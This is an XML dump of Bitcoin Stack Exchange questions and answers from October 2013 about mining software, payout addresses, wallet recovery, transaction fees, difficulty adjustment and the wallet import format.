  <row Id="13718" PostTypeId="1" AcceptedAnswerId="89770" CreationDate="2013-10-11T21:01:56.350" Score="4" ViewCount="7598" Body="&lt;p&gt;I am currently trying my luck at solo mining a few types of crypto-currencies. My question is why does BFGMiner require a &lt;code&gt;--coinbase-addr-&lt;/code&gt; argument for solo mining to know where to payout rewards to and CGMiner does not?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am because today I found a block with BFGMiner in Terracoin mining and it seemed to not have payed me even though I specified a coinbase address. I want to make sure that if I am so lucky to find a block again that I actually get paid. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=309486.new#new&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=309486.new#new&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2931" LastEditorUserId="5406" LastEditDate="2016-04-10T10:08:26.133" LastActivityDate="2019-08-16T17:42:20.513" Title="BFGMiner + CGMiner solo mining, how to specify payout address" Tags="|cgminer|mining-reward|miner-configuration|bfgminer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13719" PostTypeId="1" CreationDate="2013-10-11T21:25:41.943" Score="1" ViewCount="1382" Body="&lt;p&gt;Is there a working Open source implementation of litecoin mining application for Linux flavours without GUIs (think debian, ubuntu server etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a couple of implementations by developers but all of them are closed source.&lt;/p&gt;&#xA;" OwnerUserId="7066" LastActivityDate="2013-12-17T17:23:50.350" Title="Is there a working Open source implementation of litecoin mining application for Linux without GUI" Tags="|development|litecoin|scrypt|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13720" PostTypeId="2" ParentId="13710" CreationDate="2013-10-12T00:27:54.900" Score="8" Body="&lt;p&gt;As Bitcoin is a peer-to-peer network, shutdown in this context would need to mean the closure or abandonment of the P2P network. If this occurred and insufficient peers attempted to recreate the network - then &lt;strong&gt;yes, you could consider the network &quot;shutdown&quot;.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In which case your Bitcoin money has no value and essentially disappears in a puff of smoke. This would be similar to if paper notes suddenly super-glued themselves to people's hands, pockets or purses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This scenario isn't entirely esoteric. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider the fact that the energy required to process on-blockchain Bitcoin transactions can only ever increase (see assumption below). If the peer network massively contracted, the &lt;a href=&quot;http://en.wikipedia.org/wiki/Velocity_of_money&quot;&gt;velocity of the currency&lt;/a&gt; would fall through the floor due to insufficient network processing power. And unlike the initial speculative rush that bootstrapped the crypto-currency when &lt;em&gt;&quot;energy per hash&quot;&lt;/em&gt; was cheap, the only people with the incentive to re-establish the network would be those with significant trapped Bitcoin reserves &lt;em&gt;and&lt;/em&gt; enough non-Bitcoin money to pay transaction fees for miners to establish ASIC farms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Paying these transaction fees to re-inflate the network would be an uphill battle; as these fees would start very high (i.e. energy cost per peer) and only decrease if enough people paid those high fees to amortise the mining costs and draw the rest of the populace back into the network to keep the fees cheap and stabilise the &lt;a href=&quot;http://en.wikipedia.org/wiki/Return_on_investment&quot;&gt;ROI&lt;/a&gt; for block mining. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Escalating difficulty is the core assumption of this scenario: That &lt;a href=&quot;https://en.bitcoin.it/wiki/Difficulty&quot;&gt;energy per hash&lt;/a&gt; can't go backwards due to a risk of &quot;unwinding&quot; existing transactions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bootstrapping the new network with a lower &lt;a href=&quot;https://en.bitcoin.it/wiki/Target&quot;&gt;target&lt;/a&gt; might work - but who owning mature Bitcoins wants to re-enter the initial speculative rush due to a low target? You would need to rework the network protocol to not create new Bitcoins on new blocks until the target re-reaches the previous network's difficulty level.&lt;/p&gt;&#xA;" OwnerUserId="6679" LastActivityDate="2013-10-12T00:27:54.900" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13721" PostTypeId="2" ParentId="13719" CreationDate="2013-10-12T00:28:09.320" Score="1" Body="&lt;p&gt;Looks like the litecoin.org client on github includes  litecoind which would be the non-GUI version. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/litecoin-project/litecoin/blob/master-0.8/INSTALL&quot; rel=&quot;nofollow&quot;&gt;https://github.com/litecoin-project/litecoin/blob/master-0.8/INSTALL&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/litecoin-project/litecoin/blob/master-0.8/doc/build-unix.md&quot; rel=&quot;nofollow&quot;&gt;https://github.com/litecoin-project/litecoin/blob/master-0.8/doc/build-unix.md&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6321" LastActivityDate="2013-10-12T00:28:09.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13722" PostTypeId="2" ParentId="13705" CreationDate="2013-10-12T01:03:20.280" Score="0" Body="&lt;p&gt;Eventually once  all of the bitcoins have been mined the design calls for &lt;a href=&quot;https://en.bitcoin.it/wiki/FAQ#Won.27t_loss_of_wallets_and_the_finite_amount_of_Bitcoins_create_excessive_deflation.2C_destroying_Bitcoin.3F&quot; rel=&quot;nofollow noreferrer&quot;&gt;a permanently-finite system and eventual deflation&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Also, Bitcoin users are faced with a danger that doesn't threaten users of any other currency: if a Bitcoin user loses his wallet, his money is gone forever, unless he finds it again. And not just to him; it's gone completely out of circulation, rendered utterly inaccessible to anyone. As people will lose their wallets, the total number of Bitcoins will slowly decrease...&lt;/p&gt;&#xA;&lt;p&gt;...That being said, there is a mechanism in place to combat the obvious consequences. Extreme deflation would render most currencies highly impractical: if a single Canadian dollar could suddenly buy the holder a car, how would one go about buying bread or candy? Even pennies would fetch more than a person could carry. Bitcoin, however, offers a simple and stylish solution: infinite divisibility. Bitcoins can be divided up and trade into as small of pieces as one wants, so no matter how valuable Bitcoins become, one can trade them in practical quantities.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="6321" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2013-10-12T01:03:20.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13726" PostTypeId="2" ParentId="13719" CreationDate="2013-10-12T03:31:24.730" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/ckolivas/cgminer&quot; rel=&quot;nofollow&quot;&gt;cgminer&lt;/a&gt; should work, it is open source, cross platform miner for bitcoins and litecoins (--scrypt key  used for scrypt based coins like litecoin.)&lt;/p&gt;&#xA;" OwnerUserId="7044" LastActivityDate="2013-10-12T03:31:24.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13727" PostTypeId="2" ParentId="13717" CreationDate="2013-10-12T08:43:37.853" Score="0" Body="&lt;p&gt;Yes that sounds a bit harsh, but it is not abnormal for exchanges  to request such information. Mt. Gox does this for example, but only if you want to increase you bitcoin flow through the exchange (i.e. a verified account or trusted account). According to the &lt;a href=&quot;https://en.bitcoin.it/wiki/MtGox&quot; rel=&quot;nofollow&quot;&gt;bitcoin wiki&lt;/a&gt; you can use Mt. Gox without any personal verification (except for an email address of course), but this imposes a monthly $1000 withdrawal limit and a monthly $10000 exchange limit. For most normal users this should be sufficient. Also be wary for any sites requesting a photocopy of your identification papers, as they could use it for identity theft. Make sure that you only upload such information to trusted parties!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS. Please use some proper interpunction in your question, makes it a lot better to read!&lt;/p&gt;&#xA;" OwnerUserId="7043" LastActivityDate="2013-10-12T08:43:37.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13728" PostTypeId="1" CreationDate="2013-10-12T17:23:18.973" Score="0" ViewCount="364" Body="&lt;p&gt;I sent 1 BTC to a shared wallet address (15wGmQqaYHhBqB6bEFvrXz4CJGNeBhQkmv) at blockchain.info. It gave me a transaction id e76ccebaaf5bf63762829a92f31a065bc4c5d623df18a79626f4276d536a625e and I can see the transaction, however the &quot;balance&quot; is not reflected in my wallet anywhere. What gives? I have done this successfully before and it was fast and easy. TIA&lt;/p&gt;&#xA;" OwnerUserId="7073" LastEditorUserId="208" LastEditDate="2014-06-10T06:42:48.717" LastActivityDate="2014-07-10T07:25:30.293" Title="I can see a recent blockchain.info &quot;confirmed&quot; transaction in a shared wallet, but I do not have a balance?" Tags="|blockchain.info|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13729" PostTypeId="1" CreationDate="2013-10-12T19:38:10.487" Score="0" ViewCount="3290" Body="&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Well, it was my bad, dreadfully sorry guys. My bad with the password&#xA;  and seed, mixed some things up :(  Everything restored successfully.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I use Electrum 1.8.1 (portable edition) and have some mBTCs in my wallet (electrum.dat). I tried to send a payment and was asked to type the password which I had set before. The password is kept in KeePass, I pasted it from KeePass and... &quot;invalid password&quot;. But it is correct for sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the seed (12 words) well kept. I tried to restore the wallet with the seed, after backuping my electrum.dat and deleting it, but if I paste the seed words and the wallet is created and synchronized, I'm told the wallet has no transaction history (therefore, no money there).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried these ideas as you can see above: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=261777.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=261777.0&lt;/a&gt; and &lt;a href=&quot;https://bitcointalk.org/index.php?topic=170610.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=170610.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) How could it happen that Electrum says the password is invalid when trying to send the money?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) How could it happen that no transaction history is detected after using the seed (12 words) to restore the wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Does it have anything to do with the list of Electrum servers? It is shown when I try to restore the wallet using the seed. If yes, do I have to try every server from the list to understand which one keeps the data about my wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) How do I recover my mBTCs from the Electrum wallet? I see the number I have, but can't send because of the password issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first experience with Bitcoins and kind of frustrating... I hope I've explained the situation more or less well.&lt;/p&gt;&#xA;" OwnerUserId="7075" LastEditorUserId="2467" LastEditDate="2013-10-19T12:21:59.217" LastActivityDate="2013-10-19T12:21:59.217" Title="Can't pay with Electrum - invalid password?" Tags="|client|electrum|portable|" AnswerCount="1" CommentCount="3" ClosedDate="2013-11-12T18:30:44.540" ContentLicense="CC BY-SA 3.0" />
  <row Id="13730" PostTypeId="2" ParentId="13728" CreationDate="2013-10-12T21:37:53.920" Score="1" Body="&lt;p&gt;I don't know if you asked this question before or after transaction ae751e14246b4287e44196ec6db01e656872dd7dc3cfb68b44e931a27c431f95 happened. In that transaction, the 1 BTC associated with 15wGmQqaYHhBqB6bEFvrXz4CJGNeBhQkmv is spent, thus there are now no coins associated with it. The balance shouldn't be reflected anywhere because it is zero.&lt;/p&gt;&#xA;" OwnerUserId="6388" LastActivityDate="2013-10-12T21:37:53.920" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13731" PostTypeId="1" CreationDate="2013-10-12T22:53:13.397" Score="2" ViewCount="367" Body="&lt;p&gt;Does a Bitcoin node need to scan through the whole blockchain in order to be 100% sure that a transaction sent to it is genuine (especially when some inputs are derived from coins generated in the very early days)?&lt;/p&gt;&#xA;" OwnerUserId="675" LastActivityDate="2017-07-07T09:04:32.510" Title="Does a Bitcoin node need to scan through the whole blockchain in order to be 100% sure that a transaction sent to it is genuine?" Tags="|blockchain|nodes|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13732" PostTypeId="2" ParentId="13731" CreationDate="2013-10-12T23:13:46.300" Score="2" Body="&lt;p&gt;Yes. It doesn't have to do all the work when it receives the transaction, of course. If it's in sync with the network, it's already scanned the whole blockchain.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-10-12T23:13:46.300" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13733" PostTypeId="1" AcceptedAnswerId="13736" CreationDate="2013-10-13T00:15:06.770" Score="7" ViewCount="9768" Body="&lt;p&gt;I can't see any options in View &gt; Preferences nor on the Send tab!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find any results in a &lt;a href=&quot;https://duckduckgo.com/?q=multibit+transaction+fee&quot;&gt;DDG&lt;/a&gt; search!&lt;/p&gt;&#xA;" OwnerUserId="3267" LastEditorUserId="3267" LastEditDate="2013-11-30T02:11:12.427" LastActivityDate="2017-06-02T15:52:39.890" Title="How do I set the transaction fee in Multibit?" Tags="|transaction-fees|multibit|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13734" PostTypeId="1" CreationDate="2013-10-13T00:31:30.093" Score="1" ViewCount="2881" Body="&lt;p&gt;I recently heard about litecoin and thought it would be a good alternative of bitcoin as it is &quot;faster&quot; with less requirement. however, I noticed that any attempt to mine litecoins is significantly slower than mining bitcoins.&#xA;why is the hashrate so much  lower?&lt;/p&gt;&#xA;" OwnerUserId="6838" LastEditorUserId="5406" LastEditDate="2016-04-28T12:55:26.343" LastActivityDate="2016-04-28T12:55:26.343" Title="litecoin mining very slow" Tags="|litecoin|mining-hardware|hashpower|scrypt|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="13735" PostTypeId="1" AcceptedAnswerId="13739" CreationDate="2013-10-13T02:04:00.170" Score="0" ViewCount="63" Body="&lt;p&gt;One Trophy could be: &quot;First output signed&quot;&#xA;And many more milestones on the road to the more advanced usages of the network: &quot;First multisign/multispend&quot;, &quot;First completed ANYONECANPAY transaction&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would that be possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the user would sign a message with the address used to do these actions, and send it to a &quot;bitcoin trophy&quot; website. Then parsing of the blockchain would pick out the events that awards a Trophy for that user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can anonymity be conserved, so that a user would feel safe to collect more Trophys?&lt;/p&gt;&#xA;" OwnerUserId="6756" LastActivityDate="2013-10-13T13:29:33.447" Title="Would it be possible to make Trophys / Achievements from bitcoin experience" Tags="|development|privacy|message-signing|contracts|multi-signature|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13736" PostTypeId="2" ParentId="13733" CreationDate="2013-10-13T02:07:12.233" Score="6" Body="&lt;p&gt;The developers of Multibit have explicitly disabled such a feature to change the transaction fee, citing concerns that having little or very low transaction fees would result in the transaction taking too long to process (which is going to be unbearable for the average user only interested in sending and receiving money quickly).&lt;/p&gt;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://github.com/bitcoin-solutions/multibit/issues/23&quot; rel=&quot;nofollow noreferrer&quot;&gt;GitHub issue&lt;/a&gt; originally submitted, the developer explains:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The reason for this is that whilst in theory it is possible to send BTC with zero fee in practice it is not. For the &amp;quot;regular user&amp;quot; (i.e. someone who just wants to use bitcoin and does not really know the details) their user experience is quite poor with zero fee tx. We have probably both experienced this with Instawallet (zero fees added) where you sometimes have to wait until the next morning before the miners decide to add your tx to a block.&lt;/p&gt;&#xA;&lt;p&gt;It would create too much frustration to users (and too many support calls for me) to have zero fees.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Note: &lt;code&gt;tx&lt;/code&gt; means a transaction.&lt;/p&gt;&#xA;" OwnerUserId="7077" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-09-19T06:58:26.033" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13737" PostTypeId="1" AcceptedAnswerId="13740" CreationDate="2013-10-13T03:07:36.230" Score="1" ViewCount="497" Body="&lt;p&gt;Lets take for example day 1 difficulty of 300MM. What is the mechanism to determine the rise in difficulty?&#xA;What is the maximum value it can go starting from that number and expecting the biggest possible rise over 30 days?&lt;/p&gt;&#xA;" OwnerUserId="7079" LastActivityDate="2013-10-13T08:59:22.047" Title="What are the factors affecting expected difficulty and what is the maximum value it can take over the period of 30 days?" Tags="|difficulty|" AnswerCount="1" CommentCount="3" ClosedDate="2013-10-31T08:41:39.843" ContentLicense="CC BY-SA 3.0" />
  <row Id="13738" PostTypeId="2" ParentId="13734" CreationDate="2013-10-13T03:51:24.723" Score="1" Body="&lt;p&gt;Litecoin, by intentional design, uses a hashing algorithm that can't be made as efficient as Bitcoin's can. Computing a Litecoin block hash requires about 1,000 times more computations that a Bitcoin block hash.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-10-13T03:51:24.723" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13739" PostTypeId="2" ParentId="13735" CreationDate="2013-10-13T08:40:17.863" Score="0" Body="&lt;p&gt;Yes, that could be done, if you use Tor to connect to the website and if you don't spend the coins from those addresses at places where your identity could be tracked (i.e. tumble them first).&lt;/p&gt;&#xA;" OwnerUserId="7043" LastEditorUserId="7043" LastEditDate="2013-10-13T13:29:33.447" LastActivityDate="2013-10-13T13:29:33.447" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13740" PostTypeId="2" ParentId="13737" CreationDate="2013-10-13T08:59:22.047" Score="1" Body="&lt;p&gt;The difficulty is not limited by a specific time-frame, but solely depends on the amount of hashing power available in the network. The difficulty is updated every 2016 blocks increasing or decreasing up to factor four. While the algorithm strives to set the difficulty such that it will always take about fourteen days for 2016 blocks, it could happen that the hashing power grows much faster than that: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Scenario: Difficulty has been just set to 300MM, and somebody adds a crazy mining rig which is 20x as fast as the whole network&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The network is now 21x faster than what the difficulty tries to balance&lt;/li&gt;&#xA;&lt;li&gt;2016 Blocks are mined in 16h instead of 14d&lt;/li&gt;&#xA;&lt;li&gt;Difficulty quadruples to 1200MM, the next difficulty reset is reached after another 64h (2d 16h)&lt;/li&gt;&#xA;&lt;li&gt;Difficulty quadruples again to 4800MM,  the next difficulty reset is reached after 256h (10d 16h)&lt;/li&gt;&#xA;&lt;li&gt;Difficulty finally catches up with the hashing power added and only increases by 21/16.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In this scenario it would take the network (16+64+256)/24=fourteen days to increase by factor 21. Imagine that our great engineer figures out how to first build one of those super-rigs a day and then speeds up the progress. Theoretically the difficulty could increase by factor four every hour all 30 days (which would be a factor of 2880).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In other words, there is no maximum value for the difficulty in the next 30 days.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2013-10-13T08:59:22.047" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13741" PostTypeId="1" CreationDate="2013-10-13T10:32:34.357" Score="0" ViewCount="304" Body="&lt;p&gt;Do u have an estimate about what will happen when more powerful machines make the simple gpu use unaffordable?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would practically mean that significant part of the mining will halt. You think that the new machines' impact on difficulty will be reduced by this or this phenomenon will be not an important factor?&lt;/p&gt;&#xA;" OwnerUserId="7079" LastActivityDate="2018-05-31T21:28:09.623" Title="What effect will the halt of the use of cpu-gpu miners have in the difficulty?" Tags="|difficulty|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13742" PostTypeId="1" AcceptedAnswerId="13773" CreationDate="2013-10-13T11:03:59.670" Score="3" ViewCount="702" Body="&lt;p&gt;I'm exploring ways of accepting payments and thinking about blockchain.info &#xA;&lt;a href=&quot;https://blockchain.info/api/api_receive&quot; rel=&quot;nofollow&quot;&gt;Receive Payments API&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't realise why this service going to pay network fees instead of me. Where the profit? I see only loss.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone explain why they pay fees?&lt;/p&gt;&#xA;" OwnerUserId="7080" LastActivityDate="2013-10-15T08:23:30.247" Title="Why blockchain.info pays network fees by themselves" Tags="|transaction-fees|blockchain.info|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13744" PostTypeId="2" ParentId="13729" CreationDate="2013-10-13T13:49:42.780" Score="1" Body="&lt;p&gt;Be sure that you are entering the correct password you've set (be careful with added blank spaces, keyboard localization...). You can try to crack your own password if you remember most of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe the transactions that you remember were on imported keys? If so, they are only in that encrypted wallet file. Your seed can only restore the keys derived from it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Electrum servers are all the same and give the same information (they only differ from hardware).&lt;/p&gt;&#xA;" OwnerUserId="2467" LastEditorUserId="2467" LastEditDate="2013-10-14T01:53:29.720" LastActivityDate="2013-10-14T01:53:29.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13745" PostTypeId="1" CreationDate="2013-10-13T14:25:49.303" Score="0" ViewCount="978" Body="&lt;p&gt;from bitminter, and bigltc, both will often report my miners as not mining and inactive, although they are running and even generate work. the work is acknowledged by both sites but it lists the number of active workers as 0. why does this happen?&lt;/p&gt;&#xA;" OwnerUserId="6838" LastEditorUserId="5406" LastEditDate="2016-03-31T16:58:43.757" LastActivityDate="2016-03-31T16:58:43.757" Title="sometimes my miners aren't detected by pools?" Tags="|mining-pools|hashpower|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13746" PostTypeId="2" ParentId="13741" CreationDate="2013-10-13T14:33:25.403" Score="0" Body="&lt;p&gt;The network balances itself. If the new chips make it so difficult that mining on a GPU or CPU looses you money on electricity (this is currently the state of things) then people will stop mining with those things. However if this change makes it easier to mine then it would once again be profitable to mine on GPU's and people would begin doing it again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore I would argue that it is impossible for better chips to decrease the amount of computing power in the network (for any sizable period of time), and if anything it would increase the computing power. Not because people will no longer be using CPUs or GPUs but because this change will necessarily be brought about by people using better chips. &lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2013-10-13T14:33:25.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13747" PostTypeId="2" ParentId="13613" CreationDate="2013-10-13T14:33:35.257" Score="0" Body="&lt;p&gt;Lets assume you want to consolidate a lot of small unspent Inputs that are signed for use by addresses located on a few clients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For every client, create a raw transaction with the unspent Inputs you want to spend (send to another address). Somehow join all the raw transactions, and start signing with the first client. Every client will have to sign before the finished transaction is broadcasted to the network.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I'm not exactly sure how to accomplish this, but all the bits of the puzzle exists:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To try this were going to use brainwallet.org with &quot;correct horse battery staple&quot;. Then were going to &lt;a href=&quot;http://brainwallet.org/#tx&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://brainwallet.org/#tx&lt;/a&gt; with that private key to create a raw transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The private key is known and used by a lot of users, so there is &quot;dust&quot; we need to remove with &quot;Edit Inputs&quot;. I saved the first and the last unspent outputs, to make this example shorter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Think of these two unspent outputs belonging to different addresses. Then you need to sign with both to make it an valid transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at &lt;a href=&quot;https://gist.github.com/gavinandresen/3966071&quot; rel=&quot;nofollow noreferrer&quot;&gt;Gavins example&lt;/a&gt; for signing a 2-of-3 transaction, notice how the hex is getting longer for every signing and returns &quot;complete: true&quot; when the transaction is valid for broadcast.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last part is figuring out what fee is required, look at the JSON Transaction and notice &quot;size&quot;:xxxx. Now use &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/7537/calculator-for-estimated-tx-fees&quot;&gt;what you learn here&lt;/a&gt; to calculate an appropriate fee. (You need to include the fee before signing)&lt;/p&gt;&#xA;" OwnerUserId="6756" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2013-10-13T14:33:35.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13748" PostTypeId="1" CreationDate="2013-10-13T17:15:03.193" Score="1" ViewCount="6088" Body="&lt;p&gt;Was there ever a time when mining on Amazon EC2 was profitable? When the difficulty was low, so was the exchange rate, so I'm not sure.&lt;/p&gt;&#xA;" OwnerUserId="2526" LastEditorUserId="5406" LastEditDate="2016-03-11T15:09:20.127" LastActivityDate="2016-03-11T15:09:20.127" Title="Mining on Amazon EC2" Tags="|mining-profitability|history|cpu-mining|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13749" PostTypeId="2" ParentId="13748" CreationDate="2013-10-13T17:43:02.103" Score="1" Body="&lt;p&gt;Sure there was, when mining-difficulty was very low. And the miners did not have yet implemented mining on GPUs.&lt;/p&gt;&#xA;" OwnerUserId="2804" LastEditorUserId="-1" LastEditDate="2013-10-14T20:30:06.400" LastActivityDate="2013-10-14T20:30:06.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13750" PostTypeId="2" ParentId="11938" CreationDate="2013-10-13T18:09:46.430" Score="1" Body="&lt;p&gt;You should install dependencies first&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;yum install python-devel* python-twisted gcc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Good luck ..&lt;/p&gt;&#xA;" OwnerUserId="6920" LastActivityDate="2013-10-13T18:09:46.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13752" PostTypeId="2" ParentId="13745" CreationDate="2013-10-13T21:10:40.327" Score="1" Body="&lt;p&gt;Mining pool servers and websites don't actually know your real hashrate. They try to estimate it based on how often you send in proofs of work (aka &quot;shares&quot;). If your hashrate is very low it won't be possible to make a good short-term estimate and it looks to the website as if you have stopped mining. That's what causes this issue.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-10-13T21:10:40.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13754" PostTypeId="2" ParentId="13613" CreationDate="2013-10-14T02:11:13.133" Score="0" Body="&lt;p&gt;Import all your private keys with dust to Electrum and use them to pay the fee in your normal tansactions prioritizing them when making payments.&lt;/p&gt;&#xA;" OwnerUserId="2467" LastActivityDate="2013-10-14T02:11:13.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13755" PostTypeId="2" ParentId="13687" CreationDate="2013-10-14T03:55:42.737" Score="1" Body="&lt;p&gt;First you should always run backups of your *.wallet files. So that if your HDD crash you can recover your bitcoins and the private keys to be able to spend them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In regard to be able to switch wallet app if the development stops, I feel that support for the &lt;a href=&quot;https://en.bitcoin.it/wiki/Wallet_import_format&quot; rel=&quot;nofollow&quot;&gt;Wallet import format(WIF)&lt;/a&gt; is the only requirement you need to care about. It look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;5KJvsngHeMpm884wtkJNzQGaCErckhHJBGFsvd3VyK5qMZXj3hS (5 in front)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or the compressed&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;L3p8oAcQTtuokSCRHQ7i4MhjWc9zornvpJLfmg62sYpLRJF9woSu (L or K in front)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In fact every app can export to this format, regardless of any special feature, like &lt;a href=&quot;https://en.bitcoin.it/wiki/Deterministic_Wallet&quot; rel=&quot;nofollow&quot;&gt;Deterministic Wallets&lt;/a&gt;. There are also hybrid web wallets that export to this format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there are also web wallets where you are not truly owner of your bitcoin address, because they do not allow export with this format. In fact, there is no way of being sure that the company don't have access to your private keys. &lt;/p&gt;&#xA;" OwnerUserId="6756" LastActivityDate="2013-10-14T03:55:42.737" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
